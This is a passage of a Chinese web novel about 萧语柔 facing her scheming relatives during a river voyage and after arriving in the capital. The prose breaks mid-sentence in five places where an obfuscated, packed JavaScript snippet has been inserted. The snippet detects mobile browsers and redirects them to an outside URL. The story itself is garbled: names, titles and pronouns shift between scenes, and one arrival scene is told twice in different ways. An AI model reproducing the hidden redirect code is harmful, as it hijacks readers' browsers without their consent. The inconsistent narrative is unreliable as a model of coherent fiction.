萧语柔冷眼看着这一家子,心中涌起一阵厌恶。她抿了抿唇,强压下心中的不快,淡淡开口:“诸位若是觉得时间太紧,大可自行安排,不必跟我们同行。” 此话一出,萧家人脸色顿时变了。萧康氏强笑道:“语柔侄女说的哪里话,我们这不是怕耽误了老夫人的行程吗?” 萧语柔不置可否,只是转身吩咐船家准备起航。 萧语柔面无表情冷眼望着眼前这群所谓的“亲人”,就连船舱内的气氛也是凝重得令人窒息。 萧威被一巴掌扇进河里,激起的水花仿佛在嘲笑他的无能。萧康氏的哭喊声划破夜空,撕心裂肺得仿佛失去了全世界。 萧顺指着萧语柔,眼中怒火燃烧:“你这个不肖子,竟敢对你堂哥如此无礼!” “堂哥?”萧语柔轻蔑一笑,“是那个五岁时差点要了我性命的人吗?” 这句话如同一记重锤,砸得在场众人哑口无言。老夫人闻言,面色阴沉如墨,目光如刀般扫视着每个人。 萧顺察觉到老夫人的存在,瞬间蔫了,像个泄了气的皮球。他咬牙切齿地警告萧语柔:“你身为闺秀,对亲哥动手,传出去不怕被人耻笑吗?” “是吗?谁若敢嘲笑澜宁郡主试试。”老夫人语气冰凉地回应。 这句话如同一记惊雷,炸得萧家人目瞪口呆。康氏惊讶地脱口而出:“县主?” 老夫人冷哼一声:“劫持的事,回京再算。现在不上船,没必要继续玩了。” 船缓缓启程,载着这群表面和睦实则暗流涌动的“亲人”。 夜幕低垂,萧心怯生生地来到萧语柔的房间,手里捧着一份精心准备的礼物。她的眼神犹如受惊的小鹿,时不时偷瞄萧语柔一眼。 “姐姐请坐,”萧语柔温柔地说,仿佛对待一件易碎的珍宝。紫萱端来精致的点心,香气四溢,勾人食欲。 萧心双手奉上绣工精美的帕子,脸颊泛起淡淡的红晕。“这是我亲手所绣,希望你喜欢,”她轻声细语,犹如春风拂面。 林婆子忍不住赞叹:“二小姐的绣工,怕是连龙都的绣娘都自愧不如。”萧心闻言,羞涩得像朵含苞待放的花蕾。 这时,萧威粗鲁的吼声突然从外面传来,如同一记重锤砸在萧心心上。她脸色瞬间苍白,仓皇起身告辞,像只受惊的兔子。 萧语柔目送姐姐离去,心中五味杂陈。不多时,外面传来瓷器碎裂的声音,紧接着是清脆的耳光声。 紫萱心疼地看向萧语柔,后者只是轻叹一声。“心姐姐的事,我也无能为力,”萧语柔低声说,眼中闪过一丝无奈。“萧家这群废物,一旦沾上,想脱身可没那么容易。” 紫萱若有所思:“您是说,他们摆明了要演戏给您瞧?” “就知道欺负心姐,想借此拿捏我也是真,”萧语柔冷笑。外面的打骂声愈发激烈,萧语柔心中不忍,却也知道此刻不宜轻举妄动。 萧顺虽有些心疼女儿,却也无力阻止妻子和儿子的**。萧康氏指着萧心的额头,恶毒的话语如利刃般刺向这个柔弱的女孩。 “赔钱货!要不是你,你哥今日何至于此?”萧康氏咆哮着。萧兰冷眼旁观,对姐姐的遭遇无动于衷。 就在此时,紫萱的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481835|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音从门外传来,如同一缕清风吹散了屋内的阴霾。她带来了萧语柔的“赔礼”,一盒珠光宝气的首饰。 萧威见状,原本扭曲的面容瞬间舒展开来。萧康氏和康氏像是看到了宝藏,眼中闪烁着贪婪的光芒。 萧兰眼尖地发现了一支精美的朱钗,立刻央求母亲给她。康氏虚伪地笑着:“小妹,这是给你大哥的。” 萧康氏却毫不客气地将整个匣子据为己有,只随手将那支朱钗丢给了萧兰。一场风波就这样悄然平息,仿佛方才的暴力从未发生过。 紫萱匆匆离开,心中为萧心的遭遇感到悲哀,却也无能为力。萧心蜷缩在角落啜泣,精致如玉的面庞现在红肿不堪,像是一朵被暴雨蹂躏的娇花。 夜幕降临,萧家人仍在享受着船上的美酒佳肴,丝毫不知危险正悄然逼近。萧威在酒精的作用下沉沉睡去,全然不知自己即将面临的命运。 深夜,萧威被人浸在水里,意识逐渐清醒。他感到肺部快要**,耳朵嗡嗡作响。就在他以为自己要溺亡时,最后被人从池中救起。 “好汉饶命,好汉饶命啊。”萧威还没看清眼前的人,就开始求饶。 当他看清站在面前的人时,惊恐瞬间变成了愤怒。“你这个小**,你敢杀我?”萧威咬牙切齿地说。 萧瑾冷笑一声:“杀你?这不比煮面还容易吗?”话音未落,她再次将萧威按入水中。 水面上泛起一串串气泡,仿佛在诉说着萧威的恐惧和绝望。萧瑾的眼神冰冷,仿佛在看一个死物。这一刻,往日的**和痛苦似乎都找到了宣泄的出口。 萧家的人一个都别想好过。但此刻,她只想让萧威尝尝当年她所有的经历。 第八十章 底线 夜幕低垂,船舱内一片寂静。萧语柔站在甲板上,目光冷冽地扫过远处点点灯火。她纤细的手指轻抚腰间**,眼底闪过一丝不易察觉的决然。 突然,一声闷响打破了夜的宁静。萧虎踉跄着从舱内冲出,脸上满是惊恐。 “你...你想干什么?”他结结巴巴地问,双眼因恐惧而瞪大。 萧语柔缓缓转身,月光下她的表情晦暗不明。“我想干什么?”她轻声重复,语气里带着讽刺,“萧虎,你不是一直想知道我的底线在哪里吗?” 话音未落,她猛地上前一步。萧虎下意识后退,却被船舷挡住了去路。他慌乱中脚下一滑,险些栽进水里。 萧语柔眼疾手快,一把抓住他的衣领。萧虎刚松了口气,却见少女眼中寒光乍现。下一刻,他被重重按入冰冷的江水中。 “咕噜咕噜”的水声中,萧虎拼命挣扎。就在他以为自己要溺毙时,一只手又将他拽了上来。 “你...你疯了!”萧虎剧烈咳嗽,惊恐地看着萧语柔。 萧语柔冷冷地看着他:“我疯没疯,你说了算?” 如此反复几次,萧虎终于瘫软在甲板上,再也没了往日的嚣张气焰。 “语柔,我错了...我再也不敢了...”他哆哆嗦嗦地求饶。 萧语柔蹲下身,手中**抵在萧虎颈间:“莫以为我下不了这个狠手?”刀锋轻轻一划,一道血痕随即浮现。 萧虎浑身一僵,冷汗直流:“你...你不能杀我!我爹娘不会放过你的!” “是吗?”萧语柔嘴角勾起一抹冷笑,“你大可以去告诉他们。只是...你觉得他们能听见吗?” 萧虎愣住了,这才意识到船上寂静得可怕。他张了张嘴,却发不出声音。 “说吧,谁在背后指使你们?”萧语柔忽然问道。 萧虎一愣,随即慌乱地摇头:“我不知道...真的不知道!只有我爹知道那位贵人是谁...” 萧语柔眯起眼睛,似在判断他话语的真实性。良久,她收回**:“很好,希望你记住今晚的教训。” 说完,她起身离去,留下萧虎瘫软在甲板上,久久不能平静。 次日清晨,萧虎的惨叫声再次响起。萧宁氏闻声赶来,推开门就看到儿子浑身缠满绷带,一只眼青肿得厉害。 “威儿!这是怎么回事?”她心疼地问道。 萧虎的嘴张了张,可最终却什么都没有说出来。他余光瞥见门外站着的萧语柔,心中一颤。 “没什么...脚下一滑栽了个大马趴。”他勉强挤出一个笑容。 萧宁氏狐疑地看了他一眼,显然不相信这个拙劣的谎言。她转头看到萧语柔,心中顿时火起。 “你还杵在这儿做什么?”她对萧柔厉声道,“还不快去给你哥煮点补汤!” 萧柔低着头,默默承受着母亲的责骂。萧语柔皱了皱眉,转身离开了这令人作呕的一幕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481836|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她径直走向老夫人的房间,准备汇报昨晚的事。老夫人听完后,又心疼又无奈地看着她。 “丫头啊,你这性子太冲动了。”老夫人轻叹一声,“万一那萧虎不管不顾说出去,你这名节可就毁了?” 萧语柔抿了抿唇:“他不敢。” 老夫人摇摇头:“你未来可是要当太子妃的人,可不能留下把柄。” 萧语柔眼中闪过一丝狡黠:“外祖母,我明白。以后一定注意,决不给人抓住小辫子。” 老夫人看穿了她的心思,又是好气又是好笑。她将萧语柔搂入怀中,轻抚她的长发。 “这孩子,吃了太多苦头啊。”老夫人心中暗叹。想到萧语柔小小年纪就失去双亲,还要护着幼弟,不得不变得坚强,她就心疼不已。 接下来的航程,萧家人虽不安分,却也不敢太过放肆。一个月后,船只终于靠岸龙都。 萧宁氏还在琢磨如何说服老夫人让他们住进侯府。不料老夫人先开口了:“亲家跋山涉水来到此地,估计在龙都还没找到落脚的地方。要不先在侯府住下,如何?” 萧宁氏闻言大喜,连声应允。萧语柔站在一旁,嘴角勾起一抹意味深长的笑容。 龙都的风,似乎比江南要冷一些。萧语柔望着熙熙攘攘的街道,心中思绪万千。她知道,真正的较量才刚刚开始。那个神秘的“贵人”究竟是谁?他们为何要扶持萧家?这些谜团,她一定要一一解开。 第八十一章 争论 萧宁氏得意洋洋的踏上龙都码头。人来人往的喧嚣中,她高声道:“老夫人,实在不敢叨扰府上。” 老夫人面带微笑,却不再多言。萧宁氏心下一惊,急忙解释:“我们已租好院子,只是...” “既如此,便不勉强了。”老夫人轻声打断,“我会派人来接苏妈妈。” 萧宁氏脸色一滞,不甘心就此放弃。“老夫人,苏妈妈还未回京...” “一千两白银,可够酬谢?”老夫人淡然道。 萧宁氏眼中精光一闪,却犹豫着不敢应声。周围的路人则纷纷驻足,窃窃私语。 “没想到今天遇到恩将仇报的人,多不要脸呐。”有人低声道。 “两千两啊,连买个佣人的钱都不够?”另一人啧啧称奇。 萧宁氏面红耳赤,怒指众人:“你们在胡言乱语什么?我可是她亲姑姑!” 萧语柔轻轻后退半步,低声道:“萧氏宗族早就不认我们了。” 这句话如同一把尖刀,刺痛了萧宁氏的自尊。她厉声呵斥:“你就是这样跟长辈讲话的?没有教养,我是你大婶,血浓于水,你现在发达了就翻脸不认人了?” 老夫人眉头微蹙,萧语柔却只是低头不语,双肩轻轻发抖。 围观者议论纷纷,有人同情,有人嗤之以鼻。“将人逐出家门的长辈也配叫长辈?” “凭什么不是长辈?被赶出家族,她们家肯定有猫腻。” 争执声此起彼伏,萧宁氏见状更加肆无忌惮,语气咄咄逼人。 萧语柔轻声问:“我祖母不过是要回自己的下人,你总是找借口,我们该如何行动,你才肯把人还回来?” 萧宁氏洋洋得意,便开始提出种种要求:“自然是请我们去府上做客,咱们到底是一家人,救治那下人也花了不少银两,那便算了。” 萧泰见势不妙,想要阻止却为时已晚。萧宁氏越说越起劲:“你们偏要给,我也不能辜负你们的心意。还有,我和你大叔辛苦赶来,到底是长辈,你自己做主便是。” 萧菱在一旁撒娇:“娘,还有我。” 萧宁氏顿时心疼不已,又添了几分要求:“你萧菱妹妹比你小些,你作为姐姐,关心妹妹是应该的,你母亲那么丰厚的嫁妆,我们分文未取,随便挑些便宜货给你妹妹得了。” 萧泰见状,连忙打圆场:“你大婶向来如此,直来直去的,她小的时候可粘你了,总是把你抱在臂弯里,你母亲那会儿...” 他故作深沉地提起往事,试图缓解尴尬。萧语柔心中一阵凉意,看穿了这对夫妇的伎俩。 “谈什么原谅不原谅?”萧宁氏不满萧泰当众说她鲁莽,“这本就是分内之事,孝敬长辈,亲情深厚,她也不想被人说闲话说她势利眼吧。” “是啊,不想。”萧语柔轻声应和,目光清澈地看着萧宁氏,“那我按你说的办,请你们住进舅舅府上,让舅舅把你们当贵客招待如何?” 萧宁氏眼中闪过一丝得意,却听萧语柔继续道:“哦,对了,山珍海味之类,我也不能让舅舅掏所有钱,你们早就把我赶出萧家了,就算当初是你们儿子**我,但没关系,我孝敬长辈,友爱兄弟,就此揭过吧。” 萧宁氏脸色骤变,而一旁的萧语柔却不给她开口的机会,接着说:“对了,还要给萧菱挑些便宜货。你心里清楚,我娘的嫁妆件件都是宝贝,要是我拿些廉价货,不就让人说我势利眼了吗?让萧菱进我的库房挑选,任你挑选可好?” 萧宁氏面色铁青,张口欲言却无话可说。萧语柔最后补充道:“还要谢谢你当初诽谤我母亲,你坏她清誉之后,还在宗族里替我们美言,我们送的那两箱值钱东西没打水漂。” 围观者听得目瞪口呆,不禁叹为观止。有人忍不住骂道:“真是厚脸皮,我走遍天下,从没见过这么厚颜无耻的一家人,真是长见识了!” 萧语柔转身离去,留下一地惊愕。码头上的风轻轻吹拂,带走了最后一丝尴尬。老夫人慈祥一笑,搀扶着萧语柔登上马车。 萧宁氏站在原地,如同一尊雕塑。她终于明白,龙都不是她想象的那般简单。萧泰叹了口气,拉着妻子默默离开。 围观者渐渐散去,只留下几声意味深长的笑语。萧语柔坐在马车里,望着窗外飞逝的景色。她知道,这只是龙都生活的开端。前路漫漫,她必须学会独立自强。 老夫人拍了拍她的手,目光中满是慈爱。萧语柔心中一暖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481837|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,知道自己并不孤单。马车缓缓驶向侯府,驶向她崭新的人生。 龙都码头上喧嚣不断,人声鼎沸。萧宁氏一家挤在人群中,东张西望。 萧宁氏喋喋不休道:“侯府啊,那可是侯府!咱们这次可要好好把握住机会。” 萧泰站在一旁,眼底闪过一丝精明,嘴上却只是附和:“是啊,这次可得谨慎些。” 此时,人群突然中爆发出一阵惊呼声。只见一艘华丽的画舫缓缓靠岸,船头站着一位少女,身着翠绿色襦裙,容貌秀丽。 萧宁氏眼睛一亮,扯着嗓子喊道:“语柔啊,这边!” 少女转过头来,目光淡漠地扫过众人。她缓步走下船,身后跟着几个侍女。 萧宁氏急忙迎上去,脸上堆满笑容:“语柔啊,终于等到你现身,让姑母好生想啊!” 萧语柔微微蹙眉,语气平淡:“姑母,多年不见。” 萧宁氏没察觉到她的冷淡,继续热络地说:“快随姑母回府吧,你外祖母可想你了。” 萧语柔轻轻挑眉:“外祖母若想我,自会派人来接,何需劳烦姑母?” 萧宁氏脸上的笑容僵住了。这时,人群中传来一声呼唤:“县主,老夫人派奴婢来接您回府。” 一位妇人快步走来,萧宁氏连忙拦住她:“你是何人?我们才是语柔的亲人!” 那妇人冷冷地看了萧宁氏一眼:“奴婢是侯府的管事嬷嬷,奉老夫人之命来接县主。” 萧语柔已经走到那嬷嬷身边:“有劳嬷嬷了,我们这就回府吧。” 萧宁氏还想说什么,萧语柔已经上了马车。萧家人面面相觑,尴尬地站在原地。 马车缓缓驶离码头,萧语柔望着窗外熙熙攘攘的街景,眼底闪过一丝疲惫。 马车停在一座富丽堂皇的府邸前,萧语柔深吸一口气,推门而出。 迎接她的是一位雍容华贵的老妇人,正是她的外祖母。 “外祖母。”萧语柔恭敬地行礼。 老夫人拉起她的手,慈爱地打量着外孙女:“长高了,也漂亮了。” 萧语柔抿嘴一笑:“都是外祖母福泽。” 老夫人拍拍她的手:“进府说话吧。” 第八十二章 阴霾 待二人进门,就听见身后传来一阵喧哗。萧宁氏一家人不知何时跟了上来,正在跟门房争执。 萧语柔皱眉,正要开口,老夫人却先说话了:“让他们进来吧。” 萧宁氏一家得意洋洋地跟了进来,萧泰憨厚的脸上带着笑,眼底却闪过一丝阴沉。 老夫人淡淡地看了他们一眼:“你们来得正好,有些事情要说清萧。” 萧宁氏笑道:“是啊是啊,咱们一家人可要好好团聚呢。” 老夫人冷笑一声:“团聚?你们可曾把语柔当做一家人?” 萧宁氏脸色一变:“这...这是什么话?语柔可是我亲侄女。” 老夫人不再理会她,转向萧语柔:“语柔,你觉得呢?” 萧语柔沉默片刻,轻声道:“外祖母,血缘关系并不能决定一切。” 萧宁氏急了:“语柔,你这是什么意思?我们可是你的亲人啊!” 萧语柔淡淡地看着她:“姑母,您何时把我当成过亲人?” 萧宁氏语塞,萧泰则上前一步:“语柔,不管过去如何,我们终究是一家人。现在我们来投奔你,你总不能...” 萧语柔打断他:“叔父,您是来投奔我,还是来投奔侯府的富贵?” 萧泰脸色一变,萧虎在一旁怒道:“萧语柔,你别太过分了!” 萧语柔冷冷地看了他一眼:“我过分?你们当初是怎么对我的难道忘了吗?” 老夫人拍了拍萧语柔的手,对萧家人说:“既然来了,就暂且住下吧。不过,别以为可以在侯府横行霸道。” 萧宁氏还想说什么,被萧泰拉住了。萧泰笑道:“多谢老夫人。” 老夫人挥挥手:“去吧,自有人安排你们。” 萧家人被仆人带走后,老夫人叹了口气:“语柔,你还是心软了。” 萧语柔摇摇头:“外祖母,我只是不想再和他们纠缠。” 老夫人慈爱地看着她:“好孩子,受苦了。” 萧语柔眼中闪过一丝复杂,却没有说话。 夜幕降临,萧语柔站在院子里,望着满天星辰。 第二天,萧语柔踏入桂府大门,而此刻西陲之行的阴霾却仍未散去。院中的花香袭人,却始终难掩她心底的忧虑。 “五妹妹回来了!”桂玥的声音传来。 萧语柔微微颔首,不动声色地打量着周围。桂琳站在一旁,目光若有所思地在姐妹间游移。 “听说西陲情况糟糕,你一路还顺利吗?”桂玥关切地问道,语气中带着一丝微妙的试探。 萧语柔淡然回应:“还好,多亏珍珍照看。”她刻意避开了灾情的细节,不愿在此刻触及那些惨烈的回忆。 桂玥眼中闪过一丝失望,随即又挂上笑容:“真羡慕你能出去见识大世面。” 话音未落,岑燕燕插话道:“四妹已和太傅府的小公子订了婚约,据传他俩的婚礼安排在后年。” 萧语柔手上动作一顿,眉头微蹙:“定亲?这么快?” “是啊,奇怪得很。”岑燕燕意味深长地看了萧语柔一眼,“居然没人反对。” 萧语柔心中疑窦丛生。穆秋煜对桂婉柔一往情深,怎会对此事无动于衷?正思索间,一阵香风袭来,桂婉柔款步而至。 “五妹妹,可算回来了。”桂婉柔笑靥如花,目光却带着一丝审视,“西陲凶险,穆表哥可是担心得紧。” 萧语柔不动声色地观察着桂婉柔,察觉到她身上隐约的药香。难道...她心中一凛,面上却不露分毫。 “多谢四姐姐挂念。”萧语柔淡淡回应,“听闻姐姐喜得良缘,恭喜。” 桂婉柔眼中闪过一丝不快,随即又恢复如常:“五妹妹,我有要事相商,可否借一步说话?” 萧语柔点头应允,二人步入内室。桂婉柔关上房门,神色骤然严肃。 “五妹妹,这是何物?”她从袖中取出一件粉色肚兜。 萧语柔心头一震,面上却不动声色:“四姐姐从何处得来?” “穆表哥从一醉汉手中夺得。”桂婉柔意味深长地看着萧语柔,“那人言之凿凿,说与你有过肌肤之亲。” 萧语柔强压下心中的惊涛骇浪,淡然道:“醉汉之言,岂可轻信?” “他还说你后腰有颗红痣。”桂婉柔步步紧逼,眼中闪烁着胜利的光芒。 语柔心中一凛,可面上却是波澜不惊:“莫非四姐姐是亲眼所见?” 桂婉柔语塞,一时无言。 萧语柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481838|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乘胜追击:“我身上并无此痣,想必是那醉汉胡言乱语罢了。四姐姐若不信,大可唤人来验。” 桂婉柔神色一紧,正欲再言,外头却传来紫萱的声音:“小姐,宴席已备妥。” 萧语柔松了口气,对桂婉柔说:“四姐姐,我们还是快去吧,莫要让父亲久等。” 桂婉柔reluctantly点头,二人一同步出内室。萧语柔面色如常,内心却波涛汹涌。 待桂婉柔走远,萧语柔才低声吩咐紫萱:“去查查我的衣箱,看是否有人动过。” 紫萱神色凝重地应下。 萧语柔独自立在廊下,思绪万千。西陲之行已是凶险万分,没想到回府后又遇此等事端。那醉汉究竟是何人?为何会知晓她的隐秘?穆秋煜又在其中扮演何种角色? 她深吸一口气,强迫自己冷静下来。无论前方有何险阻,她都必须从容应对。萧语柔整理衣襟,缓步向宴席走去。 夜幕低垂,桂府灯火通明。觥筹交错间,萧语柔举杯浅酌,目光却不时扫过在座每个人的面容。她知道,这场看似平和的宴席下,暗流汹涌。 桂婉柔与墨凌霄并肩而坐,眉目含情。而穆秋煜则坐在一旁,目光时不时落在萧语柔身上,似有深意。桂玥不时向萧语柔投来探询的目光,桂琳则一如既往地沉默寡言。 萧语柔面带微笑,与众人周旋。她的心思却早已飞到了千里之外。西陲的惨状,桂雨霜的离世,还有那个不知名的醉汉...种种谜团交织在一起,如同一张巨大的网,正慢慢向她收紧。 宴席渐入尾声,萧语柔起身告辞。回到自己的院落,她立刻唤来紫萱。 “小姐,衣箱确实被人动过。”紫萱低声禀报,“但并未发现丢失的物品。” 萧语柔眉头紧蹙,沉吟片刻后说道:“继续查,一定要找出是谁干的。” 紫萱应声而去,萧语柔独自立在窗前,望着院中摇曳的花影。她知道,这只是暴风雨来临前的宁静。无论前方有何艰险,她都必须披荆斩棘,走出一条属于自己的路。 夜色渐深,萧语柔却久久无法入眠。她反复思索着今日种种,试图在纷繁复杂的局面中找出一线生机。西陲之行虽已结束,但她预感到,更大的风暴正在酝酿。 第八十三章 贪腐 皇上派定远公亲自送圣旨去西陲,这态度已经说明了一切。朝中那些骂岑陌残忍的声音,终于消停了不少。 暮色渐沉,定远公府的灯火次第亮起。饭厅里,桂成林端着酒杯,目光不经意地扫过萧语柔,笑容温和:“西陲苦寒,一路舟车劳顿,想必累坏了吧?” 萧语柔轻抿了口茶,眼帘微垂:“还好,路上有定远公照拂。” “听说西陲民情复杂,褚大人手段......”桂成林话说一半,瞥见对面岑燕燕警惕的眼神,声音渐低,“想必你也见识不少。” “西陲风光独特,民风淳朴。”萧语柔端起茶盏,水雾氤氲中看不清她的表情,“至于其他,我一个女子,不便多言。” 桂成林眼底闪过一丝失望,但很快被他掩饰过去。他放下酒杯,目光落在岑燕燕身上,笑容依旧温和:“鸢鸢这些日子可安分些了?” 岑燕燕冷哼一声,扭头不理。 定远公夫人沈氏端坐在主位,冷冷的扫过萧语柔:“听说你这趟北行,倒是长了不少见识。”语气里带着几分讥讽,“也该收敛些性子了。” 萧语柔不卑不亢:“多梁夫人提点。” 沈氏轻蔑地瞥了她一眼,起身道:“老夫人身子不适,我去看看。”说完便带着丫鬟离开了。 钱忠和钱涛落后几步,与萧语柔他们并肩而行。庭院里,月光如水,树影婆娑,将几人的身影拉得很长。 “你们说,我到底哪儿比不上墨凌霄那个**?四妹妹为什么非要嫁给他?那家伙除了会装模作样,还会什么?”钱忠一脸郁闷道。 自从桂婉柔定亲的消息传出,钱忠就像霜打的茄子,整日蔫头耷脑。此时月光下,他的表情更显得可怜兮兮。 “这世道啊,就是不公平。”他抬手揉了揉发酸的眼角,“鲜花偏要往牛粪上插。” 岑燕燕听不下去了,冷笑一声:“你就是个废物,还好意思说别人?整天就知道在府里晃荡,连个正经差事都没有!” 钱忠被怼得一愣,随即恨恨地道:“总比你这朵鲜花连牛粪都找不到强!都这么大了,连个说亲的都没有!” “你找死!” 岑燕燕本就性子暴躁,当即扑上去就要**。她一把揪住钱忠的衣领,拳头雨点般落下。 钱忠虽然嘴贱,骨子里终究透着几分豪门公子的气韵,任由岑燕燕打,只是嘴上依旧不饶人:“打吧打吧,反正你也只会用拳头说话!” 庶女桂琳和桂玥见状不妙,悄悄退下。月光下只剩下几人,岑燕燕的怒骂声回荡在庭院里。 “港口发生的事情我已知晓。”钱涛看着萧语柔,眼中带着笑意,“真没料到你这么刚。以前的你,可不会这样。” 萧语柔想起那天的情形,心中暗叹。外祖母一上码头就挑起事端,想必是有她的考量。萧家那群人若不给他们一个教训,只怕日后会更难对付。 而且,要查出他们背后的“贵人”,不打草惊蛇怎么行? 月光下,她的侧脸显得格外清冷:“我只是实话实说罢了。” 钱涛见她一本正经的样子,不禁莞尔:“此去西陲,可有什么感悟?” “民生艰难,贪腐严重。”萧语柔眼神深邃,抬头望着月亮道“现如今百姓苦不堪言,而官员却还在中饱私囊。若不是褚大人......” 话音未落,钱涛已然明了。大晋王朝居然能存活至今,多亏现任皇帝还算有手段。但那些贪腐已经延续了几代,盘根错节,世家间互相勾结。 若不是岑陌这样的狠人去西陲,那些顽疾根本铲除不了。可就是这样,岑陌都差点丢了性命。 “真没料到你脑洞这么大。”钱涛惊讶地看着她,“你变了很多。” 萧语柔转移话题:“我们去劝劝郡主吧,二公子虽说粗鄙不堪,这么打下去也要疼好几天。” 岑燕燕气消了大半,丢下钱忠跑了过来:“语柔,过段时间就是秋围了,你也去吧!我陪你去逮兔子玩!” 秋围是大晋的传统,每年两场,在皇家猎场举行。因为不少女子善骑射,所以也会有女眷参加。 萧语柔正要拒绝,就听岑燕燕说:“听说头名奖励是玉髓参呢!这可是千年难得一见的宝贝!” 玉髓参? 萧语柔心动了。有了玉髓参,她就能配制出更好的补气血的药,在外祖母看来,无异于甘露。 可是...她对弓箭一窍不通,骑马也只是略懂。这样去参加秋围,岂不是自取其辱? 就在她犹豫时,手腕上的玉璧突然发烫。自打吸收了众多灵物之后,这小东西似乎越来越有灵性了。 “好,我去。”萧语柔点头应下。 岑燕燕欢呼雀跃,钱忠在一旁揉着被打痛的肩膀,嗤笑道:“就你们俩?小心被兔子撞伤。” 岑燕燕抬手就要打,钱忠连忙躲开,躲到钱涛身后。 萧语柔无语地看着钱忠,这人是不是天生欠打? “想拿头名?”钱涛温柔地问,月光下他的眼神格外温柔。 “想啊!说不定老天眷顾我呢?守株待兔也行。”萧语柔摸着玉璧说道。 钱涛没有笑话她,而是柔声道:“我会帮你。” 萧语柔刚要拒绝,沈氏已经折返回来。看见两人并肩而立,她脸色一沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481839|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,把钱涛和钱忠叫走了。 时候不早,岑燕燕也被赵王府的人接走。萧语柔去给老夫人请安后,回到了幽谷。 “姐姐!” 萧瑾正坐在她房里,桌上摆着几个荷包和两个包袱。萧语柔认出那是萧家人的东西,顿时哭笑不得。 “我瞧见不少贼人来过这儿。”萧瑾一脸理直气壮,眼睛亮晶晶的,“我夺回的是贼人赃物,这叫黑吃黑。” 萧语柔无言以对,只能朝他竖起大拇指。这孩子,倒是越来越机灵了。 她翻看荷包,除了零散银两,另有一颗拇指般大小的宝珠。宝珠方一现世,玉璧就开始发烫,仿佛在催促她。 这玉珠...怎么这么眼熟? “是青霜月光石!” 萧语柔把银钱都给了萧瑾,打发他离开后,立刻内视空间。空间里那颗化作繁星的青霜月光石正在发光,和手中这颗一模一样。 她记得,从赵婷那里得来的玉珠是番邦进贡的稀世之宝,萧家人怎么会有?难道...他们真的有什么贵人撑腰? 见灵医宝典急不可耐,萧语柔把玉珠放了进去。 刹那间,空间华光大作,繁星震动,愈发的璀璨夺目。空间也随之扩大了几十平方。这一颗玉珠,抵得上她好几箱金银珠宝。 萧语柔心痛不已。现在她终于明白为什么空间对珠宝这么执着了,原来是为了扩充空间。 似乎感受到她的情绪,空间里突然刮起一阵轻风,轻柔地拂过她的脸颊,像是在安慰她。 风一顿,空间瞬间安静下来,开始装死。 对它的无赖行径,萧语柔已经见怪不怪。但空间确实是有了意识,或许是灵智已开。这让她既惊喜又担忧。 “你能说话吗?”她试探着问。 空间没有回应,只有星光依旧闪烁。 萧语柔并不失望,虽然不知道灵医宝典为什么会出现在她身边,可这东西着实给她不少助力,是无价之宝。 收拾好萧家人的荷包,萧语柔躺下休息。但穆秋煜的改变,还有那条出现在他手中的肚兜,让她久久无法入睡。 夜色渐深,而此时的萧语柔去还在辗转反侧,脑海中闪现着西陲所见的片段。 那些贫苦的百姓,那些贪婪的官员,还有岑陌那张冷峻的脸。她知道,这次北行不仅让她看清了大晋的现状,也让她看清了很多人的真面目。 外祖母说得对,她不能永远躲在别人的羽翼下。要想在这个世界生存下去,就必须学会保护自己。 想到这里,她摸了摸手腕上的玉璧。这个来历不明的空间,或许,就是她最大的依仗。 第八十四章 耍威风 